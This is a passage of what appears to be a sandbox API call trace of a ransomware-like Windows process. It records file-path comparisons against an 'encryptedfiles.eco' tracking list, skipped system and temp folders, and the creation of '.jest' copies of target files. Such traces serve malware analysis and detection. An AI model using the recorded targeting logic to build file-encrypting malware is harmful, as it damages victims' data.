dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0120.996] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x295)) [0120.996] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x295)) [0120.996] GetUserDefaultLCID () returned 0x409 [0120.996] VarBstrFromR4 (in: fltIn=0x479442d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.66") returned 0x0 [0120.998] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFilePart=0x18e780*="main.xml") returned 0x49 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.998] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 0 [0120.999] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 0 [0120.999] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.999] GetLastError () returned 0x5 [0120.999] GetLastError () returned 0x5 [0120.999] SetLastError (dwErrCode=0x5) [0120.999] GetLastError () returned 0x5 [0120.999] SetLastError (dwErrCode=0x5) [0120.999] GetLastError () returned 0x5 [0120.999] SetLastError (dwErrCode=0x5) [0120.999] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.999] GetLastError () returned 0x5 [0120.999] GetLastError () returned 0x5 [0120.999] SetLastError (dwErrCode=0x5) [0120.999] GetLastError () returned 0x5 [0120.999] SetLastError (dwErrCode=0x5) [0121.000] GetLastError () returned 0x5 [0121.000] SetLastError (dwErrCode=0x5) [0121.000] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x33c [0121.000] GetFileType (hFile=0x33c) returned 0x1 [0121.000] IMalloc:Alloc (This=0x767666bc, cb=0x86) returned 0x14e23c0 [0121.000] FlushFileBuffers (hFile=0xa) returned 0 [0121.000] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.001] GetCurrentProcessId () returned 0x9e0 [0121.001] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.001] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.001] GetFullPathNameA (in: lpFileName="Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpFilePart=0x18e708*="Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp") returned 0x8f [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchWideChar=-1, lpMultiByteStr=0x18e710, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpUsedDefaultChar=0x0) returned 74 [0121.002] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFilePart=0x18e708*="main.xml") returned 0x49 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.002] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 0 [0121.003] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpUsedDefaultChar=0x0) returned 106 [0121.003] GetFullPathNameA (in: lpFileName="Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpFilePart=0x18e6e4*="Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp") returned 0x8f [0121.003] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dw EG8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45207744, cFileName="G8VSkl G78eiZeYu0YpyK5jJk bSxUS646DnkkwJzlX8QbepC8NzyY7UzpbvzUwVa5MziL9gcKjpt4-94TBHIErOy54xElfTj.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.003] GetLastError () returned 0x2 [0121.003] GetLastError () returned 0x2 [0121.003] SetLastError (dwErrCode=0x2) [0121.003] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.006] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_numbers.xml_18b20a4d", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_numbers.xml_18b20a4d") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_numbers.xml_18b20a4d" [0121.006] lstrcpynW (in: lpString1=0x142fffc, lpString2="numbers.xml", iMaxLength=12 | out: lpString1="numbers.xml") returned="numbers.xml" [0121.006] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="K", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x340, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0121.006] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0121.007] lstrcpynW (in: lpString1=0x144d9ac, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0121.007] CloseHandle (hObject=0x340) returned 1 [0121.007] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.008] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml") returned 0x4d [0121.008] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.008] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml") returned 0x4d [0121.008] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.008] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml") returned 0x4d [0121.008] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.008] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml") returned 0x4d [0121.008] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.008] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml") returned 0x4d [0121.009] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.009] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml") returned 0x4d [0121.009] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.009] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.009] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.009] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.009] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.009] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.010] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFilePart=0x18e870*="numbers.xml") returned 0x4c [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.010] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.010] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.010] GetLastError () returned 0x5 [0121.010] GetLastError () returned 0x5 [0121.011] SetLastError (dwErrCode=0x5) [0121.011] GetLastError () returned 0x5 [0121.011] SetLastError (dwErrCode=0x5) [0121.011] GetLastError () returned 0x5 [0121.011] SetLastError (dwErrCode=0x5) [0121.011] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.011] GetLastError () returned 0x5 [0121.011] GetLastError () returned 0x5 [0121.011] SetLastError (dwErrCode=0x5) [0121.011] GetLastError () returned 0x5 [0121.011] SetLastError (dwErrCode=0x5) [0121.011] GetLastError () returned 0x5 [0121.011] SetLastError (dwErrCode=0x5) [0121.011] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x340 [0121.012] GetFileType (hFile=0x340) returned 0x1 [0121.012] IMalloc:Alloc (This=0x767666bc, cb=0x89) returned 0x14cd1d8 [0121.012] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb34 | out: ppsaOut=0x18eb34) returned 0x0 [0121.013] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpFilePart=0x18e870*="numbers.xml.jest") returned 0x51 [0121.013] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.013] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.013] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.013] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.013] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.013] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.013] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.014] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.014] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.014] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.014] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x340 [0121.014] GetFileType (hFile=0x340) returned 0x1 [0121.014] IMalloc:Alloc (This=0x767666bc, cb=0x8e) returned 0x14cd1d8 [0121.014] GetUserDefaultLCID () returned 0x409 [0121.015] GetLocaleInfoA (in: 